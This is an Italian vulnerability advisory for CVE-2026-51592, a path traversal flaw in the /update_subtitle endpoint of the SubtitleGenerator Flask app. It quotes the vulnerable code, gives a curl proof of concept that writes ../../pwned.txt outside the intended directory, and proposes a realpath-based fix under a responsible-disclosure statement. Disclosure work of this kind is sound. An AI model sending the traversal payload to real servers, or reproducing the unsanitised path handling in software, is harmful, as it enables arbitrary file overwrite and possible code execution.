
Vulnerabilità di Path Traversal in TahaBakhtari/SubtitleGenerator - CVE-2026-51592
Una vulnerabilità di path traversal è presente nell'endpoint /update_subtitle di
TahaBakhtari/SubtitleGenerator.
L'endpoint accetta un parametro file_name da un client non autenticato e lo
unisce a una directory di base fissa utilizzando os.path.join() senza sanificare
le sequenze di path traversal. Di conseguenza, un attaccante remoto non autenticato
può scrivere file arbitrari al di fuori della directory prevista data/subtitles/,
nei limiti dei permessi del processo in esecuzione.
2e2553a (ultima al momento del test)app.py, funzione update_subtitle (righe 225–238)@app.route('/update_subtitle', methods=['POST'])
def update_subtitle():
file_type = request.form.get('file_type', 'srt')
new_content = request.form.get('new_content')
file_name = request.form.get('file_name')
if not file_name:
return jsonify({'status': 'error', 'message': '...'}), 400
file_path = os.path.join("data/subtitles", file_name)
try:
with open(file_path, "w", encoding="utf-8") as f:
f.write(new_content)
return jsonify({'status': 'success', 'message': '...'})
except Exception as e:
return jsonify({'status': 'error', 'message': str(e)}), 500
Il parametro file_name viene utilizzato per costruire un percorso di file senza
alcuna validazione. Un attaccante può fornire un valore come ../../pwned.txt per
uscire dalla directory data/subtitles/ e scrivere in una posizione arbitraria su
cui il processo ha permessi di scrittura.
Per impostazione predefinita, l'applicazione si lega a 0.0.0.0:5000 (vedere
app.py), il che significa che è raggiungibile tramite rete e non limitata a
localhost.
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Scrittura arbitraria di file nei limiti dei permessi del processo Flask
Sovrascrittura di file di configurazione o file dell'applicazione esistenti
Possibile sovrascrittura dei file sorgente dell'applicazione (es. app.py),
che potrebbe portare all'esecuzione di codice al riavvio successivo
Denial of Service tramite corruzione di file critici
Vettore di attacco: Remoto
Autenticazione richiesta: No
Interazione utente richiesta: No
Severità (preliminare): Alta
curl -X POST "http://target:5000/update_subtitle" \
--data "file_name=../../pwned.txt&new_content=HACKED"
Risposta:
{"status": "success", "message": "..."}
Verifica sul server:
$ ls
... pwned.txt ...
$ cat pwned.txt
HACKED
Il file pwned.txt viene scritto nella directory principale del progetto, due
livelli sopra la directory prevista data/subtitles/ — confermando il path
traversal.
Vedere poc.sh per una versione eseguibile di questa prova di concetto.
Validare che il percorso risolto rimanga all'interno di data/subtitles/
utilizzando os.path.realpath() prima di aprire il file:
base_dir = os.path.realpath("data/subtitles")
target = os.path.realpath(os.path.join("data/subtitles", file_name))
if not target.startswith(base_dir + os.sep):
return jsonify({'status': 'error', 'message': 'invalid filename'}), 400
file_path = target
Ciò garantisce che il percorso risultante venga sempre risolto all'interno di
data/subtitles/, bloccando di fatto sequenze di traversal come ../../.
La patch completa è disponibile in patch.diff. Questa correzione è stata
implementata e verificata su un'istanza di test locale: lo stesso payload usato
nella PoC precedente ora restituisce un errore "invalid filename" invece di
scrivere il file.
Scoperta e segnalata da Arda Kuruoglu.
Questa vulnerabilità è stata divulgata seguendo una tempistica di responsible disclosure di 90 giorni, a partire dalla data della segnalazione iniziale al manutentore.
README.md — questo reportpoc.sh — script proof-of-concept che dimostra la vulnerabilitàpatch.diff — patch suggerita, validata su un'istanza di test localeQuesto report e i file allegati sono rilasciati sotto licenza MIT.